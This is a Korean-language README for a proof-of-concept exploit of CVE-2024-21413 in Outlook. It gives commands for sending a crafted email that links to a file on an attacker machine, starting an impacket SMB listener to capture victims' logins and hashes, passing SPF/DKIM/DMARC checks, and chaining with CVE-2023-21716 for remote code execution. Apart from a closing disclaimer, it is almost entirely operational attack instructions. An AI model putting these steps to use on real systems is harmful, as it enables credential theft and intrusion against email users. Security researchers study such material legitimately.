CVE-2024-21413 - POC

사용법:

python CVE-2024-21413.py -host example.com -port 25 -from [email protected] -recipient [email protected] -url xx.xx.xx.xx/path/to/shared/file/r0tb1t.rtf

[!NOTE] r00tb1t : 공격자 머신(xx.xx.xx.xx)에서 공유되는 테스트 파일입니다(이 경우 워드 파일).

SPF, DKIM 및 DMARC를 준수하려면 합법적인 $IP와 도메인을 사용하세요.

아직 설치하지 않았다면 pip install pexpect를 사용하여 pexpect 라이브러리를 설치해야 합니다.

POC 실행 팁:

• SMB 리스너 실행 impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp .
• POC 실행

python CVE-2024-21413.py -host example.com -port 25 -from [email protected] -recipient [email protected] -url example.com/path/to/shared/file/r0tb1t.rtf

• 받은 메일의 링크를 클릭하면, BOOM 리스너에서 로그인 및 해시를 얻을 수 있습니다.
• 이 CVE를 CVE-2023-21716과 연결하여 RCE를 획득하세요!!!

• Kudooooos & CVE-2024-21413에 대한 자세한 내용 .
• 해결 방법/수정:

[!CAUTION] ⚠️ 면책 조항: 중요: 이 스크립트는 교육, 윤리적 테스트 및 합법적인 용도로만 제공됩니다. 명시적 허가 없이 시스템이나 네트워크에 사용하지 마십시오. 컴퓨터 시스템 및 네트워크에 대한 무단 액세스는 불법이며, 무단 활동을 수행하는 사용자는 법적 조치를 받을 수 있습니다. 작성자는 이 스크립트의 오용으로 인한 어떠한 손해에도 책임을 지지 않습니다..